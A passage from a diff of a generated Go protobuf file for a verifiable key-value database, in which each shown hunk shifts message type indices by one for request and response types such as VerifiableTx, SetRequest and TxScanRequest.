protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2555,7 +2623,7 @@ func (x *VerifiableTx) String() string { func (*VerifiableTx) ProtoMessage() {} func (x *VerifiableTx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[34] + mi := &file_schema_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2568,7 +2636,7 @@ func (x *VerifiableTx) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableTx.ProtoReflect.Descriptor instead. func (*VerifiableTx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{34} + return file_schema_proto_rawDescGZIP(), []int{35} } func (x *VerifiableTx) GetTx() *Tx { @@ -2608,7 +2676,7 @@ type VerifiableEntry struct { func (x *VerifiableEntry) Reset() { *x = VerifiableEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[35] + mi := &file_schema_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2621,7 +2689,7 @@ func (x *VerifiableEntry) String() string { func (*VerifiableEntry) ProtoMessage() {} func (x *VerifiableEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[35] + mi := &file_schema_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2634,7 +2702,7 @@ func (x *VerifiableEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableEntry.ProtoReflect.Descriptor instead. func (*VerifiableEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{35} + return file_schema_proto_rawDescGZIP(), []int{36} } func (x *VerifiableEntry) GetEntry() *Entry { @@ -2674,7 +2742,7 @@ type InclusionProof struct { func (x *InclusionProof) Reset() { *x = InclusionProof{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[36] + mi := &file_schema_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2687,7 +2755,7 @@ func (x *InclusionProof) String() string { func (*InclusionProof) ProtoMessage() {} func (x *InclusionProof) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[36] + mi := &file_schema_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2700,7 +2768,7 @@ func (x *InclusionProof) ProtoReflect() protoreflect.Message { // Deprecated: Use InclusionProof.ProtoReflect.Descriptor instead. func (*InclusionProof) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{36} + return file_schema_proto_rawDescGZIP(), []int{37} } func (x *InclusionProof) GetLeaf() int32 { @@ -2740,7 +2808,7 @@ type SetRequest struct { func (x *SetRequest) Reset() { *x = SetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[37] + mi := &file_schema_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2753,7 +2821,7 @@ func (x *SetRequest) String() string { func (*SetRequest) ProtoMessage() {} func (x *SetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[37] + mi := &file_schema_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2766,7 +2834,7 @@ func (x *SetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SetRequest.ProtoReflect.Descriptor instead. func (*SetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{37} + return file_schema_proto_rawDescGZIP(), []int{38} } func (x *SetRequest) GetKVs() []*KeyValue { @@ -2812,7 +2880,7 @@ type KeyRequest struct { func (x *KeyRequest) Reset() { *x = KeyRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[38] + mi := &file_schema_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2825,7 +2893,7 @@ func (x *KeyRequest) String() string { func (*KeyRequest) ProtoMessage() {} func (x *KeyRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[38] + mi := &file_schema_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2838,7 +2906,7 @@ func (x *KeyRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use KeyRequest.ProtoReflect.Descriptor instead. func (*KeyRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{38} + return file_schema_proto_rawDescGZIP(), []int{39} } func (x *KeyRequest) GetKey() []byte { @@ -2891,7 +2959,7 @@ type KeyListRequest struct { func (x *KeyListRequest) Reset() { *x = KeyListRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[39] + mi := &file_schema_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2904,7 +2972,7 @@ func (x *KeyListRequest) String() string { func (*KeyListRequest) ProtoMessage() {} func (x *KeyListRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[39] + mi := &file_schema_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2917,7 +2985,7 @@ func (x *KeyListRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use KeyListRequest.ProtoReflect.Descriptor instead. func (*KeyListRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{39} + return file_schema_proto_rawDescGZIP(), []int{40} } func (x *KeyListRequest) GetKeys() [][]byte { @@ -2951,7 +3019,7 @@ type DeleteKeysRequest struct { func (x *DeleteKeysRequest) Reset() { *x = DeleteKeysRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[40] + mi := &file_schema_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2964,7 +3032,7 @@ func (x *DeleteKeysRequest) String() string { func (*DeleteKeysRequest) ProtoMessage() {} func (x *DeleteKeysRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[40] + mi := &file_schema_proto_msgTypes[41] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2977,7 +3045,7 @@ func (x *DeleteKeysRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteKeysRequest.ProtoReflect.Descriptor instead. func (*DeleteKeysRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{40} + return file_schema_proto_rawDescGZIP(), []int{41} } func (x *DeleteKeysRequest) GetKeys() [][]byte { @@ -3015,7 +3083,7 @@ type VerifiableSetRequest struct { func (x *VerifiableSetRequest) Reset() { *x = VerifiableSetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[41] + mi := &file_schema_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3028,7 +3096,7 @@ func (x *VerifiableSetRequest) String() string { func (*VerifiableSetRequest) ProtoMessage() {} func (x *VerifiableSetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[41] + mi := &file_schema_proto_msgTypes[42] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3041,7 +3109,7 @@ func (x *VerifiableSetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSetRequest.ProtoReflect.Descriptor instead. func (*VerifiableSetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{41} + return file_schema_proto_rawDescGZIP(), []int{42} } func (x *VerifiableSetRequest) GetSetRequest() *SetRequest { @@ -3072,7 +3140,7 @@ type VerifiableGetRequest struct { func (x *VerifiableGetRequest) Reset() { *x = VerifiableGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[42] + mi := &file_schema_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3085,7 +3153,7 @@ func (x *VerifiableGetRequest) String() string { func (*VerifiableGetRequest) ProtoMessage() {} func (x *VerifiableGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[42] + mi := &file_schema_proto_msgTypes[43] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3098,7 +3166,7 @@ func (x *VerifiableGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableGetRequest.ProtoReflect.Descriptor instead. func (*VerifiableGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{42} + return file_schema_proto_rawDescGZIP(), []int{43} } func (x *VerifiableGetRequest) GetKeyRequest() *KeyRequest { @@ -3125,7 +3193,7 @@ type ServerInfoRequest struct { func (x *ServerInfoRequest) Reset() { *x = ServerInfoRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[43] + mi := &file_schema_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3138,7 +3206,7 @@ func (x *ServerInfoRequest) String() string { func (*ServerInfoRequest) ProtoMessage() {} func (x *ServerInfoRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[43] + mi := &file_schema_proto_msgTypes[44] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3151,7 +3219,7 @@ func (x *ServerInfoRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ServerInfoRequest.ProtoReflect.Descriptor instead. func (*ServerInfoRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{43} + return file_schema_proto_rawDescGZIP(), []int{44} } // ServerInfoResponse contains information about the server instance. @@ -3167,7 +3235,7 @@ type ServerInfoResponse struct { func (x *ServerInfoResponse) Reset() { *x = ServerInfoResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[44] + mi := &file_schema_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3180,7 +3248,7 @@ func (x *ServerInfoResponse) String() string { func (*ServerInfoResponse) ProtoMessage() {} func (x *ServerInfoResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[44] + mi := &file_schema_proto_msgTypes[45] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3193,7 +3261,7 @@ func (x *ServerInfoResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use ServerInfoResponse.ProtoReflect.Descriptor instead. func (*ServerInfoResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{44} + return file_schema_proto_rawDescGZIP(), []int{45} } func (x *ServerInfoResponse) GetVersion() string { @@ -3217,7 +3285,7 @@ type HealthResponse struct { func (x *HealthResponse) Reset() { *x = HealthResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[45] + mi := &file_schema_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3230,7 +3298,7 @@ func (x *HealthResponse) String() string { func (*HealthResponse) ProtoMessage() {} func (x *HealthResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[45] + mi := &file_schema_proto_msgTypes[46] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3243,7 +3311,7 @@ func (x *HealthResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use HealthResponse.ProtoReflect.Descriptor instead. func (*HealthResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{45} + return file_schema_proto_rawDescGZIP(), []int{46} } func (x *HealthResponse) GetStatus() bool { @@ -3274,7 +3342,7 @@ type DatabaseHealthResponse struct { func (x *DatabaseHealthResponse) Reset() { *x = DatabaseHealthResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[46] + mi := &file_schema_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3287,7 +3355,7 @@ func (x *DatabaseHealthResponse) String() string { func (*DatabaseHealthResponse) ProtoMessage() {} func (x *DatabaseHealthResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[46] + mi := &file_schema_proto_msgTypes[47] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3300,7 +3368,7 @@ func (x *DatabaseHealthResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseHealthResponse.ProtoReflect.Descriptor instead. func (*DatabaseHealthResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{46} + return file_schema_proto_rawDescGZIP(), []int{47} } func (x *DatabaseHealthResponse) GetPendingRequests() uint32 { @@ -3339,7 +3407,7 @@ type ImmutableState struct { func (x *ImmutableState) Reset() { *x = ImmutableState{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[47] + mi := &file_schema_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3352,7 +3420,7 @@ func (x *ImmutableState) String() string { func (*ImmutableState) ProtoMessage() {} func (x *ImmutableState) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[47] + mi := &file_schema_proto_msgTypes[48] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3365,7 +3433,7 @@ func (x *ImmutableState) ProtoReflect() protoreflect.Message { // Deprecated: Use ImmutableState.ProtoReflect.Descriptor instead. func (*ImmutableState) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{47} + return file_schema_proto_rawDescGZIP(), []int{48} } func (x *ImmutableState) GetDb() string { @@ -3433,7 +3501,7 @@ type ReferenceRequest struct { func (x *ReferenceRequest) Reset() { *x = ReferenceRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[48] + mi := &file_schema_proto_msgTypes[49] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3446,7 +3514,7 @@ func (x *ReferenceRequest) String() string { func (*ReferenceRequest) ProtoMessage() {} func (x *ReferenceRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[48] + mi := &file_schema_proto_msgTypes[49] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3459,7 +3527,7 @@ func (x *ReferenceRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ReferenceRequest.ProtoReflect.Descriptor instead. func (*ReferenceRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{48} + return file_schema_proto_rawDescGZIP(), []int{49} } func (x *ReferenceRequest) GetKey() []byte { @@ -3519,7 +3587,7 @@ type VerifiableReferenceRequest struct { func (x *VerifiableReferenceRequest) Reset() { *x = VerifiableReferenceRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[49] + mi := &file_schema_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3532,7 +3600,7 @@ func (x *VerifiableReferenceRequest) String() string { func (*VerifiableReferenceRequest) ProtoMessage() {} func (x *VerifiableReferenceRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[49] + mi := &file_schema_proto_msgTypes[50] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3545,7 +3613,7 @@ func (x *VerifiableReferenceRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableReferenceRequest.ProtoReflect.Descriptor instead. func (*VerifiableReferenceRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{49} + return file_schema_proto_rawDescGZIP(), []int{50} } func (x *VerifiableReferenceRequest) GetReferenceRequest() *ReferenceRequest { @@ -3585,7 +3653,7 @@ type ZAddRequest struct { func (x *ZAddRequest) Reset() { *x = ZAddRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[50] + mi := &file_schema_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3598,7 +3666,7 @@ func (x *ZAddRequest) String() string { func (*ZAddRequest) ProtoMessage() {} func (x *ZAddRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[50] + mi := &file_schema_proto_msgTypes[51] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3611,7 +3679,7 @@ func (x *ZAddRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ZAddRequest.ProtoReflect.Descriptor instead. func (*ZAddRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{50} + return file_schema_proto_rawDescGZIP(), []int{51} } func (x *ZAddRequest) GetSet() []byte { @@ -3668,7 +3736,7 @@ type Score struct { func (x *Score) Reset() { *x = Score{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[51] + mi := &file_schema_proto_msgTypes[52] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3681,7 +3749,7 @@ func (x *Score) String() string { func (*Score) ProtoMessage() {} func (x *Score) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[51] + mi := &file_schema_proto_msgTypes[52] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3694,7 +3762,7 @@ func (x *Score) ProtoReflect() protoreflect.Message { // Deprecated: Use Score.ProtoReflect.Descriptor instead. func (*Score) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{51} + return file_schema_proto_rawDescGZIP(), []int{52} } func (x *Score) GetScore() float64 { @@ -3741,7 +3809,7 @@ type ZScanRequest struct { func (x *ZScanRequest) Reset() { *x = ZScanRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[52] + mi := &file_schema_proto_msgTypes[53] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3754,7 +3822,7 @@ func (x *ZScanRequest) String() string { func (*ZScanRequest) ProtoMessage() {} func (x *ZScanRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[52] + mi := &file_schema_proto_msgTypes[53] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3767,7 +3835,7 @@ func (x *ZScanRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ZScanRequest.ProtoReflect.Descriptor instead. func (*ZScanRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{52} + return file_schema_proto_rawDescGZIP(), []int{53} } func (x *ZScanRequest) GetSet() []byte { @@ -3876,7 +3944,7 @@ type HistoryRequest struct { func (x *HistoryRequest) Reset() { *x = HistoryRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[53] + mi := &file_schema_proto_msgTypes[54] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3889,7 +3957,7 @@ func (x *HistoryRequest) String() string { func (*HistoryRequest) ProtoMessage() {} func (x *HistoryRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[53] + mi := &file_schema_proto_msgTypes[54] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3902,7 +3970,7 @@ func (x *HistoryRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead. func (*HistoryRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{53} + return file_schema_proto_rawDescGZIP(), []int{54} } func (x *HistoryRequest) GetKey() []byte { @@ -3954,7 +4022,7 @@ type VerifiableZAddRequest struct { func (x *VerifiableZAddRequest) Reset() { *x = VerifiableZAddRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[54] + mi := &file_schema_proto_msgTypes[55] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3967,7 +4035,7 @@ func (x *VerifiableZAddRequest) String() string { func (*VerifiableZAddRequest) ProtoMessage() {} func (x *VerifiableZAddRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[54] + mi := &file_schema_proto_msgTypes[55] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3980,7 +4048,7 @@ func (x *VerifiableZAddRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableZAddRequest.ProtoReflect.Descriptor instead. func (*VerifiableZAddRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{54} + return file_schema_proto_rawDescGZIP(), []int{55} } func (x *VerifiableZAddRequest) GetZAddRequest() *ZAddRequest { @@ -4018,7 +4086,7 @@ type TxRequest struct { func (x *TxRequest) Reset() { *x = TxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[55] + mi := &file_schema_proto_msgTypes[56] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4031,7 +4099,7 @@ func (x *TxRequest) String() string { func (*TxRequest) ProtoMessage() {} func (x *TxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[55] + mi := &file_schema_proto_msgTypes[56] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4044,7 +4112,7 @@ func (x *TxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TxRequest.ProtoReflect.Descriptor instead. func (*TxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{55} + return file_schema_proto_rawDescGZIP(), []int{56} } func (x *TxRequest) GetTx() uint64 { @@ -4098,7 +4166,7 @@ type EntriesSpec struct { func (x *EntriesSpec) Reset() { *x = EntriesSpec{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[56] + mi := &file_schema_proto_msgTypes[57] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4111,7 +4179,7 @@ func (x *EntriesSpec) String() string { func (*EntriesSpec) ProtoMessage() {} func (x *EntriesSpec) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[56] + mi := &file_schema_proto_msgTypes[57] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4124,7 +4192,7 @@ func (x *EntriesSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use EntriesSpec.ProtoReflect.Descriptor instead. func (*EntriesSpec) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{56} + return file_schema_proto_rawDescGZIP(), []int{57} } func (x *EntriesSpec) GetKvEntriesSpec() *EntryTypeSpec { @@ -4160,7 +4228,7 @@ type EntryTypeSpec struct { func (x *EntryTypeSpec) Reset() { *x = EntryTypeSpec{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[57] + mi := &file_schema_proto_msgTypes[58] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4173,7 +4241,7 @@ func (x *EntryTypeSpec) String() string { func (*EntryTypeSpec) ProtoMessage() {} func (x *EntryTypeSpec) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[57] + mi := &file_schema_proto_msgTypes[58] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4186,7 +4254,7 @@ func (x *EntryTypeSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use EntryTypeSpec.ProtoReflect.Descriptor instead. func (*EntryTypeSpec) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{57} + return file_schema_proto_rawDescGZIP(), []int{58} } func (x *EntryTypeSpec) GetAction() EntryTypeAction { @@ -4220,7 +4288,7 @@ type VerifiableTxRequest struct { func (x *VerifiableTxRequest) Reset() { *x = VerifiableTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[58] + mi := &file_schema_proto_msgTypes[59] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4233,7 +4301,7 @@ func (x *VerifiableTxRequest) String() string { func (*VerifiableTxRequest) ProtoMessage() {} func (x *VerifiableTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[58] + mi := &file_schema_proto_msgTypes[59] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4246,7 +4314,7 @@ func (x *VerifiableTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableTxRequest.ProtoReflect.Descriptor instead. func (*VerifiableTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{58} + return file_schema_proto_rawDescGZIP(), []int{59} } func (x *VerifiableTxRequest) GetTx() uint64 { @@ -4314,7 +4382,7 @@ type TxScanRequest struct { func (x *TxScanRequest) Reset() { *x = TxScanRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[59] + mi := &file_schema_proto_msgTypes[60] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4327,7 +4395,7 @@ func (x *TxScanRequest) String() string { func (*TxScanRequest) ProtoMessage() {} func (x *TxScanRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[59] + mi := &file_schema_proto_msgTypes[60] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4340,7 +4408,7 @@ func (x *TxScanRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TxScanRequest.ProtoReflect.Descriptor instead. func (*TxScanRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{59} + return file_schema_proto_rawDescGZIP(), []int{60} } func (x *TxScanRequest) GetInitialTx() uint64 { @@ -4397,7 +4465,7 @@ type TxList struct { func (x *TxList) Reset() { *x = TxList{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[60] + mi := &file_schema_proto_msgTypes[61] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4410,7 +4478,7 @@ func (x *TxList) String() string { func (*TxList) ProtoMessage() {} func (x *TxList) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[60] + mi := &file_schema_proto_msgTypes[61] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4423,7 +4491,7 @@ func (x *TxList) ProtoReflect() protoreflect.Message { // Deprecated: Use TxList.ProtoReflect.Descriptor instead. func (*TxList) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{60} + return file_schema_proto_rawDescGZIP(), []int{61} } func (x *TxList) GetTxs() []*Tx { @@ -4449,7 +4517,7 @@ type ExportTxRequest struct { func (x *ExportTxRequest) Reset() { *x = ExportTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[61] + mi := &file_schema_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 